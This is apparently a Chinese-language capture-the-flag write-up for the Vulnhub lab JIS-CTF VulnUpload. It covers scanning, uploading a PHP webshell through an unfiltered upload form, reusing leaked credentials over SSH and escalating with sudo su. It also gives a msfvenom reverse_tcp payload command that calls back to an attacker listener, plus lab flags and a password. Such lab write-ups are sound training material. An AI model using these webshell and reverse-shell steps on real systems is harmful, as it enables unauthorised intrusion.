Vulnhub:JIS-CTF_VulnUpload(Writeup)
下载地址:https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/
1. 信息收集
进行nmap主机发现
进行nmap扫描发现开放22、80端口,靶机为linux3.x的版本
访问web,dirsearch进行后台扫描
dirsearch -u http://10.10.10.137
2. 获取flag
访问robots.txt,发现几个敏感路径,逐一进行访问,发现两个flag
第一个flag,The 1st flag is : {8734509128730458630012095}
第二个flag,The 2nd flag is : {7412574125871236547895214}
发现用户名和密码,猜测是web界面的账号密码或ssh的账号密码,经验证后确定为web的账号密码,web登陆进去是一个文件上传点,尝试上传php木马,发现直接上传成功。
木马的上传路径并没有回显,但是根据robots.txt文件的内容可以猜测到上传路径为,uploads/shell.php或uploaded_files/shell.php。经验证后得出,上传路径为uploaded_files/shell.php。于是使用蚁剑进行连接。
寻找第三个flag,在hint.txt文件中:
try to find user technawi password to read the
flag.txt file, you can find it in a hidden fileThe 3rd flag is : {7645110034526579012345670}
查看flag.txt文件详细信息,发现仅有technawi及其组内成员能够进行查看读写
利用find命令在根目录下进行寻找,寻找文件详细信息里,该文件所在用户是technawi的文件 ,并除去错误输出,将所有结果输出出来,命令如下:
find / -user “technawi” 2>/dev/null
相关命令解释:
(1) /dev/null 文件是特殊的设备文件,该文件接收的所有数据都不会保存,因此,null 这个设备通常也被称为位桶(bit bucket)或黑洞。
(2)Linux系统预留可三个文件描述符:0、1、2,意义如下:
0——标准输入(stdin)
1——标准输出(stdout)即输入到终端
2——标准错误(stderr)
(3)重定向的符号有两个:> 和 >>,两者的区别是:前者是直接覆盖原有内容,即先清空文件,然后再写入内容;后者会将重定向的内容追加到现有文件的尾部。
查看该文件,获得第四个flag
The 4th flag is : {7845658974123568974185412}
username : technawi
password : 3vilH@ksor
猜测该账号密码为靶机的账号密码,尝试进行ssh
进入后直接查看cat /var/www/html/flag.txt 就可获取到第5个flag
3. 权限提升
登陆成功后,可以尝试进行提权。
发现在technawi的home目录下有一个文件名为.sudo_as_admin_successful的文件。 该文件的用途为:
使用sudo 执行命令时,都会在该用户主目录中创建一个名为.sudo_as_admin_successful
的文件。该文件存在的唯一目的是禁用 bash 在启动时打印的消息。
sudo提权:当 home/ 目录下存在 .sudo_as_admin_successful 文件,则可以输入当前低权限账号的密码直接 sudo su 切换为 root 用户
提权成功
4. 另一种获取shell方法
其实,如果不通过蚁剑这种虚拟终端的方式去访问靶机的shell,也可以通过msfvenom生成php木马,在msf上进行监听,web访问该木马的方式进行meterpreter通道获取,具体操作如下:
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.10.129 lport=3344 -f raw >shell2.php
msf开启监听,设置payload、lhost、lport
执行成功后,返回meterpreter通道,进入shell,使用pyhton的标准虚拟终端
python -c “import pty;pty.spawn(‘/bin/bash’);”
之后寻找flag、提权等步骤都与之前相同。